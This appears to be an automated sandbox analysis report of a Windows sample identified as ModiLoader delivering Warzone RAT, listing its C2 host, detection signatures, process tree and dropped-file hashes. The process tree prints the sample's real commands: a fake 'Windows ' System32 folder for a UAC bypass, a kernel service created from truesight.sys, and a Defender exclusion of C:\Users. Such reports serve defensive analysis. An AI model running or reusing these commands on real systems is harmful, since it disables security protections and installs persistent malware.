Resubmissions

10/04/2024, 13:40

240410-qym42shf3910

23/02/2024, 18:06

240223-wppt6sfe2t10

23/02/2024, 05:45

240223-gfvazacf9410

Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/02/2024, 05:45

General

  • Target
    efafe5a6bf3f1a5bfb0ca236aaa8347ef8a960a701210dacfaa2c6b4a959ee33.exe
  • Size 1.7MB
  • Sample240223-gfvazacf94
  • SHA256 efafe5a6bf3f1a5bfb0ca236aaa8347ef8a960a701210dacfaa2c6b4a959ee33
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • warzonerat

C2
  • zakriexports.com:2017

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 5 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 5 IoCs
  • Detects executables embedding command execution via IExecuteCommand COM object 5 IoCs
  • ModiLoader Second Stage 5 IoCs
  • Warzone RAT payload 5 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\efafe5a6bf3f1a5bfb0ca236aaa8347ef8a960a701210dacfaa2c6b4a959ee33.exe
    "C:\Users\Admin\AppData\Local\Temp\efafe5a6bf3f1a5bfb0ca236aaa8347ef8a960a701210dacfaa2c6b4a959ee33.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\BlblqtqxO.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5052
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c mkdir "\\?\C:\Windows "
        3⤵
          PID:2972
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
          3⤵
            PID:4672
          • C:\Windows\SysWOW64\xcopy.exe
            xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
            3⤵
            • Enumerates system info in registry
            PID:2052
          • C:\Windows\SysWOW64\xcopy.exe
            xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
            3⤵
            • Enumerates system info in registry
            PID:1864
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
            3⤵
              PID:1660
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
              3⤵
                PID:3940
              • C:\Windows\SysWOW64\xcopy.exe
                xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
                3⤵
                • Enumerates system info in registry
                PID:1880
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                3⤵
                  PID:576
                • C:\Windows\SysWOW64\xcopy.exe
                  xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
                  3⤵
                  • Enumerates system info in registry
                  PID:4076
                • C:\Windows \System32\easinvoker.exe
                  "C:\\Windows \\System32\\easinvoker.exe"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4908
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1584
                    • C:\Windows\system32\sc.exe
                      sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                      5⤵
                      • Launches sc.exe
                      PID:3476
                    • C:\Windows\system32\cmd.exe
                      cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1028
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                        6⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1624
                    • C:\Windows\system32\sc.exe
                      sc.exe start truesight
                      5⤵
                      • Launches sc.exe
                      PID:3000
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3552
                • C:\Windows \System32\easinvoker.exe
                  "C:\\Windows \\System32\\easinvoker.exe"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4832
              • C:\Users\Public\Libraries\xqtqlblB.pif
                C:\Users\Public\Libraries\xqtqlblB.pif
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3376
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe"
                  3⤵
                    PID:1528

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    __PSScriptPolicyTest_2qt1l00y.hig.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2qt1l00y.hig.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    BlblqtqxO.bat

                    • Path C:\Users\Public\Libraries\BlblqtqxO.bat
                    • Size 7KB
                    • SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
                    • MD5 SHA1 SHA512 SSDEEP

                    KDECO.bat

                    • Path C:\Users\Public\Libraries\KDECO.bat
                    • Size 4KB
                    • SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
                    • MD5 SHA1 SHA512 SSDEEP

                    easinvoker.exe

                    • Path C:\Users\Public\Libraries\easinvoker.exe
                    • Size 128KB
                    • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                    • MD5 SHA1 SHA512 SSDEEP

                    netutils.dll

                    • Path C:\Users\Public\Libraries\netutils.dll
                    • Size 115KB
                    • SHA256 ae33f291a6f2011ca147c2b48035743aba3c507dcef86e1fa6acb4dee47cbf43
                    • MD5 SHA1 SHA512 SSDEEP

                    xqtqlblB.pif

                    • Path C:\Users\Public\Libraries\xqtqlblB.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1528-59-0x00000000009E0000-0x00000000009E1000-memory.dmp

                    memory/1624-38-0x00000152B8B00000-0x00000152B8B10000-memory.dmp

                    memory/1624-39-0x00000152B8B00000-0x00000152B8B10000-memory.dmp

                    memory/1624-27-0x00000152BABB0000-0x00000152BABD2000-memory.dmp

                    memory/1624-42-0x00007FFA1D450000-0x00007FFA1DF11000-memory.dmp

                    memory/1624-37-0x00007FFA1D450000-0x00007FFA1DF11000-memory.dmp

                    memory/1628-2-0x0000000004670000-0x0000000005670000-memory.dmp

                    memory/1628-0-0x0000000002470000-0x0000000002471000-memory.dmp

                    memory/1628-4-0x0000000000400000-0x00000000005C0000-memory.dmp

                    memory/1628-54-0x0000000002470000-0x0000000002471000-memory.dmp

                    memory/1628-1-0x0000000004670000-0x0000000005670000-memory.dmp

                    memory/3376-49-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3376-56-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3376-58-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/3376-61-0x0000000000400000-0x000000000055A000-memory.dmp

                    memory/3376-63-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/4832-55-0x00000000613C0000-0x00000000613E3000-memory.dmp

                    memory/4908-26-0x00000000613C0000-0x00000000613E3000-memory.dmp